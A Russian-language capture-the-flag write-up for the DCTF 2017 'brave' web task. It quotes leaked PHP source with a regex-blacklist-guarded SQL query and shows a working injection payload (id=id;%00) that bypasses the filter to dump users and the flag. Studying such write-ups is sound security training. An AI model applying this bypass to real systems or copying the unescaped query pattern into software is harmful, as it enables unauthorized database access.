Читаем задание:
При переходе по ссылке из задания нас ожидала белая страница со словом Nop. Перепробовав вручную несколько стандартных директорий (/admin, /flag и т. д.) был найден исходный код страницы по адресу https://brave.dctf-quals-17.def.camp/index.php~
:
<?php
$db = mysqli_connect('localhost','web_brave','','web_brave');
$id = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);
if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected
$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);
if($q->num_rows) {
echo '<h3>Users:</h3><ul>';
while($row = $q->fetch_array()) {
echo '<li>'.$row['name'].'</li>';
}
echo '</ul>';
} else {
die('<h3>Nop.</h3>');
}
Изучив код, можно предположить, что уязвимость кроется в параметре $id
. Кроме того, проанализировав условие в preg_match можно заметить, что символы %
, 0
, ;
и `
не фильтруются.
После исследования запроса становится понятным, что id=id
имеет тот же эффект, что и 1=1
.
Кроме того, мы должны игнорировать параметр $key
и конец запроса после $id
, для чего добавим ;%00
в конец нашего запроса.
Т. о. при обращении к https://brave.dctf-quals-17.def.camp/index.php?id=id;%00
мы получаем:
Users:
Try Harder
DCTF{602dcfeedd3aae23f05cf93d121907ec925bd70c50d78ac839ad48c0a93cfc54}
Флаг: DCTF{602dcfeedd3aae23f05cf93d121907ec925bd70c50d78ac839ad48c0a93cfc54}